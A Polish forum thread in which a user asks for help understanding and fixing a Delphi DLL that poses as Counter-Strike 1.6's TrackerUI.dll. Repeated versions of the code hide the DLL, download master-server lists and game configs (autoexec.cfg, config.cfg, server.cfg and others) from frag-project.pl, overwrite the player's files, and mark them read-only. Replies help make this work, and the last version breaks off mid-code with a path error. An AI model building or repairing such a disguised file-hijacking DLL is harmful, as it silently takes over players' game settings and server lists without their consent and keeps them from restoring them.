Wątek przeniesiony 2015-03-19 13:17 z Delphi i Pascal przez Ktos.

Analiza kodu pobierającego pliki z sieci

0

Dzień dobry.

W tym temacie chciałbym się dowiedzieć co zawiera, co po kolei wykonuje i za co jest odpowiedzialny poniższy kod, który zatwierdziłem oraz ewentualne poprawki jakie należy nanieść, aby w 100% działał prawidłowo. Kod nie jest napisany przeze mnie dlatego właśnie piszę owy temat. Z góry bardzo proszę za życzliwość oraz uprzejmość.

library TrackerUI;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils,
  IdHTTP,
  Classes;

{$R *.res}

var
BaseURL: string;
procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
try
idHTTP1 := TIdHTTP.Create(nil);
Stream := TMemoryStream.Create;
IdHTTP1.Get(File1,Stream);
Stream.SaveToFile(File2);
Stream.Free;
except
end;
end;
begin
BaseURL := 'http://frag-project.pl/tracker/';
begin
FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);

FileSetAttr('cstrike\liblist.gam', 128);
DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
FileSetAttr('cstrike\liblist.gam', 1);

FileSetAttr('config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
FileSetAttr('config\masterservers.vdf', 1);

FileSetAttr('config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
FileSetAttr('config\rev_masterservers.vdf', 1);

FileSetAttr('config\serverbrowser.vdf', 128);
DownloadFile(BaseURL + 'config/serverbrowser.vdf','config\serverbrowser.vdf');
FileSetAttr('config\serverbrowser.vdf', 1);

FileSetAttr('platform\config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
FileSetAttr('platform\config\masterservers.vdf', 1);

FileSetAttr('platform\config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
FileSetAttr('platform\config\rev_masterservers.vdf', 1);

FileSetAttr('platform\config\serverbrowser.vdf', 128);
DownloadFile(BaseURL + 'platform/config/serverbrowser.vdf','platform\config\serverbrowser.vdf');
FileSetAttr('platform\config\serverbrowser.vdf', 1);

FileSetAttr('cstrike\autoconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
FileSetAttr('cstrike\autoconfig.cfg', 1);

FileSetAttr('cstrike\autoexec.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
FileSetAttr('cstrike\autoexec.cfg', 1);

FileSetAttr('cstrike\joystick.cfg', 128);
DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
FileSetAttr('cstrike\joystick.cfg', 1);

FileSetAttr('cstrike\language.cfg', 128);
DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
FileSetAttr('cstrike\language.cfg', 1);

FileSetAttr('cstrike\userconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
FileSetAttr('cstrike\userconfig.cfg', 1);

FileSetAttr('cstrike\violence.cfg', 128);
DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
FileSetAttr('cstrike\violence.cfg', 1);

FileSetAttr('cstrike\resource\gamemenu.res', 128);
DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
FileSetAttr('cstrike\resource\gamemenu.res', 1);

FileSetAttr('cstrike\config.cfg', 128);
DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
FileSetAttr('cstrike\config.cfg', 1);

FileSetAttr('cstrike\commandmenu.txt', 128);
DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
FileSetAttr('cstrike\commandmenu.txt', 1);

FileSetAttr('cstrike\server.cfg', 128);
DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
FileSetAttr('cstrike\server.cfg', 1);

FileSetAttr('cstrike\listenserver.cfg', 128);
DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
FileSetAttr('cstrike\listenserver.cfg', 1);

FileSetAttr('cstrike\valve.rc', 128);
DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
FileSetAttr('cstrike\valve.rc', 1);

FileSetAttr('valve\valve.rc', 128);
DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
FileSetAttr('valve\valve.rc', 1);
end;
end. 
1

DownloadFile - pobiera plik z internetu z adresu file1 i zapisuje na dysku w miejscu file2
FileSetAttr - tu masz opis FileSetAttr
KONIEC

0

Dobrze, rozumiem.
A czy może ktoś stwierdzić czy program działa? Ktoś mi napisał, że można w pewien sposób zoptymalizować kod tak, aby działał <ort>bez błędnie</ort> oraz do końca spełniał swoją funkcję. Czy mógłby ktoś zasugerować co można w tym kodzie zmodyfikować?

1

To:

begin
FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);
 
FileSetAttr('cstrike\liblist.gam', 128);
DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
FileSetAttr('cstrike\liblist.gam', 1);
 
FileSetAttr('config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
FileSetAttr('config\masterservers.vdf', 1);
 
FileSetAttr('config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
FileSetAttr('config\rev_masterservers.vdf', 1);
 
FileSetAttr('config\serverbrowser.vdf', 128);
DownloadFile(BaseURL + 'config/serverbrowser.vdf','config\serverbrowser.vdf');
FileSetAttr('config\serverbrowser.vdf', 1);
 
FileSetAttr('platform\config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
FileSetAttr('platform\config\masterservers.vdf', 1);
 
FileSetAttr('platform\config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
FileSetAttr('platform\config\rev_masterservers.vdf', 1);
 
FileSetAttr('platform\config\serverbrowser.vdf', 128);
DownloadFile(BaseURL + 'platform/config/serverbrowser.vdf','platform\config\serverbrowser.vdf');
FileSetAttr('platform\config\serverbrowser.vdf', 1);
 
FileSetAttr('cstrike\autoconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
FileSetAttr('cstrike\autoconfig.cfg', 1);
 
FileSetAttr('cstrike\autoexec.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
FileSetAttr('cstrike\autoexec.cfg', 1);
 
FileSetAttr('cstrike\joystick.cfg', 128);
DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
FileSetAttr('cstrike\joystick.cfg', 1);
 
FileSetAttr('cstrike\language.cfg', 128);
DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
FileSetAttr('cstrike\language.cfg', 1);
 
FileSetAttr('cstrike\userconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
FileSetAttr('cstrike\userconfig.cfg', 1);
 
FileSetAttr('cstrike\violence.cfg', 128);
DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
FileSetAttr('cstrike\violence.cfg', 1);
 
FileSetAttr('cstrike\resource\gamemenu.res', 128);
DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
FileSetAttr('cstrike\resource\gamemenu.res', 1);
 
FileSetAttr('cstrike\config.cfg', 128);
DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
FileSetAttr('cstrike\config.cfg', 1);
 
FileSetAttr('cstrike\commandmenu.txt', 128);
DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
FileSetAttr('cstrike\commandmenu.txt', 1);
 
FileSetAttr('cstrike\server.cfg', 128);
DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
FileSetAttr('cstrike\server.cfg', 1);
 
FileSetAttr('cstrike\listenserver.cfg', 128);
DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
FileSetAttr('cstrike\listenserver.cfg', 1);
 
FileSetAttr('cstrike\valve.rc', 128);
DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
FileSetAttr('cstrike\valve.rc', 1);
 
FileSetAttr('valve\valve.rc', 128);
DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
FileSetAttr('valve\valve.rc', 1);
end;

Zamienić na pętlę.


Czytałem twój poprzedni temat i najszybciej poprawisz kod płacąc komuś za jego poprawę, bo z tego co zdążyłem się zorientować to jesteś zielony jak szczypiorek na wiosnę w dziedzinie programowania, a gotowca raczej nie dostaniesz.

1

FileSetAttr przenieść do procedury

0

Tak jak ujął mnie powyżej kolega "Jestem zielony jak szczypiorek na wiosnę" :)

Pisząc mi, że mam przenieść FileSetAttr do procedury nie wiele mnie nakierowuje, przepraszam za moją kompletną niewiedze.

2
library TrackerUI;
 
{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }
 
uses
  SysUtils,
  IdHTTP,
  Classes;
 
{$R *.res}
 
procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
  idHTTP1 := TIdHTTP.Create(nil);
  Stream := TMemoryStream.Create;
  try
    try
      IdHTTP1.Get(File1, Stream);
      FileSetAttr(File2, 128);
      Stream.SaveToFile(File2);
    except
    end;
  finally
    FileSetAttr(File1, 1);
    Stream.Free;
    idHTTP1.Free;
  end;
end;

const
  BaseURL: string = 'http://frag-project.pl/tracker/';

begin
  FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);
 
  DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
  DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
  DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
  DownloadFile(BaseURL + 'config/serverbrowser.vdf','config\serverbrowser.vdf');
  DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
  DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
  DownloadFile(BaseURL + 'platform/config/serverbrowser.vdf','platform\config\serverbrowser.vdf');
  DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
  DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
  DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
  DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
  DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
  DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
  DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
  DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
  DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
  DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
  DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
  DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
  DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
end. 
0

Podczas, gdy chce przekompilować powyższy kod w lewym dolnym rogu jest komunikat, proszę zobaczyć załącznik.

1

u mnie na XE5 i D7 się kompiluje a XE7 nie mam

0

@Csysiu - a próbowałeś zrestartować IDE? Często to pomaga.

0

W jaki sposób to wykonać? Aby zrestartować IDE ?

1

@Csysiu - nie rób jaj... Wyłącz środowisko i włącz jeszcze raz...

0

Tak zrobiłem i podczas kompilacji wywala błąd.

1

A mnie interesuje w jaki sposób jak wynika ze screena udało Ci się nazwać projekt "TrackerUI (2)" pewnie przemianowałeś ręcznie a kompilatorowi to się nie podoba. Ponadto library TrackerUI; nazwa biblioteki ma być zgodna z nazwą projektu.

0

Masz rację :)

0

Niestety. Po pomyślnej kompilacji plik TrackerUI.dll nie chce spełniać swojej funkcji, czyli plik ma za zadanie pobrać widoczne w kodzie pliki z zewnętrznego serwera po czym nadać im odpowiednie atrybuty.

Czy jest możliwe, żeby tak zmodyfikować kod, aby sam generował pliki z pewną zawartością oraz o odpowiednich atrybutach w docelowych lokalizacjach na dysku?

library TrackerUI;
 
{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }
 
uses
  SysUtils,
  IdHTTP,
  Classes;
 
{$R *.res}
 
var
BaseURL: string;
procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
try
idHTTP1 := TIdHTTP.Create(nil);
Stream := TMemoryStream.Create;
IdHTTP1.Get(File1,Stream);
Stream.SaveToFile(File2);
Stream.Free;
except
end;
end;
begin
BaseURL := 'http://frag-project.pl/tracker/';
begin
FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);
 
FileSetAttr('cstrike\liblist.gam', 128);
DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
FileSetAttr('cstrike\liblist.gam', 1);
 
FileSetAttr('config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
FileSetAttr('config\masterservers.vdf', 1);
 
FileSetAttr('config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
FileSetAttr('config\rev_masterservers.vdf', 1);
 
FileSetAttr('config\serverbrowser.vdf', 128);
DownloadFile(BaseURL + 'config/serverbrowser.vdf','config\serverbrowser.vdf');
FileSetAttr('config\serverbrowser.vdf', 1);
 
FileSetAttr('platform\config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
FileSetAttr('platform\config\masterservers.vdf', 1);
 
FileSetAttr('platform\config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
FileSetAttr('platform\config\rev_masterservers.vdf', 1);
 
FileSetAttr('platform\config\serverbrowser.vdf', 128);
DownloadFile(BaseURL + 'platform/config/serverbrowser.vdf','platform\config\serverbrowser.vdf');
FileSetAttr('platform\config\serverbrowser.vdf', 1);
 
FileSetAttr('cstrike\autoconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
FileSetAttr('cstrike\autoconfig.cfg', 1);
 
FileSetAttr('cstrike\autoexec.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
FileSetAttr('cstrike\autoexec.cfg', 1);
 
FileSetAttr('cstrike\joystick.cfg', 128);
DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
FileSetAttr('cstrike\joystick.cfg', 1);
 
FileSetAttr('cstrike\language.cfg', 128);
DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
FileSetAttr('cstrike\language.cfg', 1);
 
FileSetAttr('cstrike\userconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
FileSetAttr('cstrike\userconfig.cfg', 1);
 
FileSetAttr('cstrike\violence.cfg', 128);
DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
FileSetAttr('cstrike\violence.cfg', 1);
 
FileSetAttr('cstrike\resource\gamemenu.res', 128);
DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
FileSetAttr('cstrike\resource\gamemenu.res', 1);
 
FileSetAttr('cstrike\config.cfg', 128);
DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
FileSetAttr('cstrike\config.cfg', 1);
 
FileSetAttr('cstrike\commandmenu.txt', 128);
DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
FileSetAttr('cstrike\commandmenu.txt', 1);
 
FileSetAttr('cstrike\server.cfg', 128);
DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
FileSetAttr('cstrike\server.cfg', 1);
 
FileSetAttr('cstrike\listenserver.cfg', 128);
DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
FileSetAttr('cstrike\listenserver.cfg', 1);
 
FileSetAttr('cstrike\valve.rc', 128);
DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
FileSetAttr('cstrike\valve.rc', 1);
 
FileSetAttr('valve\valve.rc', 128);
DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
FileSetAttr('valve\valve.rc', 1);
end;
end.  
0

Przecież to działa tylko jest to że tak powiem z d..y wzięte ale DZIAŁA. Nie napisałeś co nie działa, ale pewnie ścieżki nie pasują ale kto wie jak wygląda struktura folderów w tej grze.
jak to jest?

GŁÓWNY_FOLDER\exe_odpalajacy.exe
GŁÓWNY_FOLDER\cstrike\bin\TrackerUI.dll
GŁÓWNY_FOLDER\config\

czy może:

GŁÓWNY_FOLDER\cstrike\bin\exe_odpalajacy.exe
GŁÓWNY_FOLDER\cstrike\bin\TrackerUI.dll
GŁÓWNY_FOLDER\config\

czy już sam nie wiem jak?

0

Masze rację, dotyczy to gry Counter Strike 1.6, ma podmieniać istniejące pliki **config/masterservers.vdf ** oraz platform/config/masterservers.vdf na te które są na serwerze podane w URL. Nie wiem czy struktura nazwy pliku ma również się zgadzać, bo na serwerze jest np: MasterServers.vdf a w kodzie masterservers.vdf
Ale również jak dałem takie same nazwy i po kompilacji kodu źródłowego nadal plik nie spełnia swojej funkcji, czyli nie pobiera MasterServers.vdf do danego katalogu

Struktura katalogów w grze wygląda następująco:

GŁÓWNY_FOLDER\exe_odpalajacy.exe
GŁÓWNY_FOLDER\cstrike\bin\TrackerUI.dll
GŁÓWNY_FOLDER\config\
0

Jak jest tak to docelowe powinny sie zgadzać a na serwerze na pewno jest tak:
http://frag-project.pl/tracker/config/masterservers.vdf

0

Serwer stoi na Linuxie więc wielkość liter w nazwach plików na serwerze ma znaczenie a ścieżki docelowe mają być w stylu:

FileSetAttr('..\..\config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/MasterServers.vdf','..\..\config\masterservers.vdf');
FileSetAttr('..\..\config\masterservers.vdf', 1);

Jak to poprawisz wszędzie to będzie działać (choć kod woła o pomstę do nieba tu aż się prosi aby zastosować tablicę z nazwami plików i pętlę).

0

Wydaję mi się, że musiałbym zdefiniować raczej nazwy plików w kodzie odpowiadające strukturą nazwy plików na serwerze, bo poprawna nazwa pliku powinna być właśnie taka jak na serwerze, tak się nazywają te pliki w grze. Ale już tak wcześniej zrobiłem, przekompilowałem kod na nowo, wrzuciłem plik do katalogu

[GŁOWNY_KATALOG]:cstrike/bin/TrackerUI.dll

i nie działa, znaczy nie nadpisuje oraz nie generuje nowego pliku MasterServers.vdf w katalogu [GŁOWNY_KATALOG]:config/

 oraz <code class="delphi">[GŁOWNY_KATALOG]:platform/config/
0

No o tym piszę w kodzie masz poprawić jak podałem (tylko że dotyczy to wszystkich pobieranych plików) a zmiana atrybutów przy DLL ma być sama nazwą bez ścieżki.

0

Tak powinien wyglądać kod źródłowy z poprawionymi nazwami do przekompilownia. Po kompilacji dalej nie spełnia swojej funkcji.

library TrackerUI;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils,
  IdHTTP,
  Classes;

{$R *.res}

var
BaseURL: string;
procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
try
idHTTP1 := TIdHTTP.Create(nil);
Stream := TMemoryStream.Create;
IdHTTP1.Get(File1,Stream);
Stream.SaveToFile(File2);
Stream.Free;
except
end;
end;
begin
BaseURL := 'http://frag-project.pl/tracker/';
begin
FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);

FileSetAttr('cstrike\liblist.gam', 128);
DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
FileSetAttr('cstrike\liblist.gam', 1);

FileSetAttr('config\MasterServers.vdf', 128);
DownloadFile(BaseURL + 'config/MasterServers.vdf','config\MasterServers.vdf');
FileSetAttr('config\MasterServers.vdf', 1);

FileSetAttr('config\rev_MasterServers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_MasterServers.vdf','config\rev_MasterServers.vdf');
FileSetAttr('config\rev_MasterServers.vdf', 1);

FileSetAttr('config\ServerBrowser.vdf', 128);
DownloadFile(BaseURL + 'config/ServerBrowser.vdf','config\ServerBrowser.vdf');
FileSetAttr('config\ServerBrowser.vdf', 1);

FileSetAttr('platform\config\MasterServers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/MasterServers.vdf','platform\config\MasterServers.vdf');
FileSetAttr('platform\config\MasterServers.vdf', 1);

FileSetAttr('platform\config\rev_MasterServers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/rev_MasterServers.vdf','platform\config\rev_MasterServers.vdf');
FileSetAttr('platform\config\rev_MasterServers.vdf', 1);

FileSetAttr('platform\config\ServerBrowser.vdf', 128);
DownloadFile(BaseURL + 'platform/config/ServerBrowser.vdf','platform\config\ServerBrowser.vdf');
FileSetAttr('platform\config\ServerBrowser.vdf', 1);

FileSetAttr('cstrike\autoconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
FileSetAttr('cstrike\autoconfig.cfg', 1);

FileSetAttr('cstrike\autoexec.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
FileSetAttr('cstrike\autoexec.cfg', 1);

FileSetAttr('cstrike\joystick.cfg', 128);
DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
FileSetAttr('cstrike\joystick.cfg', 1);

FileSetAttr('cstrike\language.cfg', 128);
DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
FileSetAttr('cstrike\language.cfg', 1);

FileSetAttr('cstrike\userconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
FileSetAttr('cstrike\userconfig.cfg', 1);

FileSetAttr('cstrike\violence.cfg', 128);
DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
FileSetAttr('cstrike\violence.cfg', 1);

FileSetAttr('cstrike\resource\gamemenu.res', 128);
DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
FileSetAttr('cstrike\resource\gamemenu.res', 1);

FileSetAttr('cstrike\config.cfg', 128);
DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
FileSetAttr('cstrike\config.cfg', 1);

FileSetAttr('cstrike\commandmenu.txt', 128);
DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
FileSetAttr('cstrike\commandmenu.txt', 1);

FileSetAttr('cstrike\server.cfg', 128);
DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
FileSetAttr('cstrike\server.cfg', 1);

FileSetAttr('cstrike\listenserver.cfg', 128);
DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
FileSetAttr('cstrike\listenserver.cfg', 1);

FileSetAttr('cstrike\valve.rc', 128);
DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
FileSetAttr('cstrike\valve.rc', 1);

FileSetAttr('valve\valve.rc', 128);
DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
FileSetAttr('valve\valve.rc', 1);
end;
end.
1

Czy ty czytasz co piszę? Podawałem przykład co do ścieżek... Gdzie masz ..\..\ przed ścieżkami plików docelowych? Jeszcze raz podaję ma być w stylu:

FileSetAttr('TrackerUI.DLL', 1 + 2);
//ciach
FileSetAttr('..\..\config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/MasterServers.vdf','..\..\config\MasterServers.vdf');
FileSetAttr('..\..\config\masterservers.vdf', 1);//ciach
0

Czy tak powinien wyglądać teraz kod źródłowy?

library TrackerUI;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils,
  IdHTTP,
  Classes;

{$R *.res}

var
BaseURL: string;
procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
try
idHTTP1 := TIdHTTP.Create(nil);
Stream := TMemoryStream.Create;
IdHTTP1.Get(File1,Stream);
Stream.SaveToFile(File2);
Stream.Free;
except
end;
end;
begin
BaseURL := 'http://frag-project.pl/tracker/';
begin
FileSetAttr('..\..\cstrike\bin\TrackerUI.DLL', 1 + 2);

FileSetAttr('..\..\cstrike\liblist.gam', 128);
DownloadFile(BaseURL + 'cstrike/liblist.gam','..\..\cstrike\liblist.gam');
FileSetAttr('..\..\cstrike\liblist.gam', 1);

FileSetAttr('..\..\config\MasterServers.vdf', 128);
DownloadFile(BaseURL + 'config/MasterServers.vdf','..\..\config\MasterServers.vdf');
FileSetAttr('..\..\config\MasterServers.vdf', 1);

FileSetAttr('..\..\config\rev_MasterServers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_MasterServers.vdf','..\..\config\rev_MasterServers.vdf');
FileSetAttr('..\..\config\rev_MasterServers.vdf', 1);

FileSetAttr('..\..\config\ServerBrowser.vdf', 128);
DownloadFile(BaseURL + 'config/ServerBrowser.vdf','..\..\config\ServerBrowser.vdf');
FileSetAttr('..\..\config\ServerBrowser.vdf', 1);

FileSetAttr('..\..\platform\config\MasterServers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/MasterServers.vdf','..\..\platform\config\MasterServers.vdf');
FileSetAttr('..\..\platform\config\MasterServers.vdf', 1);

FileSetAttr('..\..\platform\config\rev_MasterServers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/rev_MasterServers.vdf','..\..\platform\config\rev_MasterServers.vdf');
FileSetAttr('..\..\platform\config\rev_MasterServers.vdf', 1);

FileSetAttr('..\..\platform\config\ServerBrowser.vdf', 128);
DownloadFile(BaseURL + 'platform/config/ServerBrowser.vdf','..\..\platform\config\ServerBrowser.vdf');
FileSetAttr('..\..\platform\config\ServerBrowser.vdf', 1);

FileSetAttr('..\..\cstrike\autoconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','..\..\cstrike\autoconfig.cfg');
FileSetAttr('..\..\cstrike\autoconfig.cfg', 1);

FileSetAttr('..\..\cstrike\autoexec.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoexec.cfg','..\..\cstrike\autoexec.cfg');
FileSetAttr('..\..\cstrike\autoexec.cfg', 1);

FileSetAttr('..\..\cstrike\joystick.cfg', 128);
DownloadFile(BaseURL + 'cstrike/joystick.cfg','..\..\cstrike\joystick.cfg');
FileSetAttr('..\..\cstrike\joystick.cfg', 1);

FileSetAttr('..\..\cstrike\language.cfg', 128);
DownloadFile(BaseURL + 'cstrike/language.cfg','..\..\cstrike\language.cfg');
FileSetAttr('..\..\cstrike\language.cfg', 1);

FileSetAttr('..\..\cstrike\userconfig.cfg', 128);
DownloadFile(BaseURL + '..\..\cstrike/userconfig.cfg','..\..\cstrike\userconfig.cfg');
FileSetAttr('..\..\cstrike\userconfig.cfg', 1);

FileSetAttr('..\..\cstrike\violence.cfg', 128);
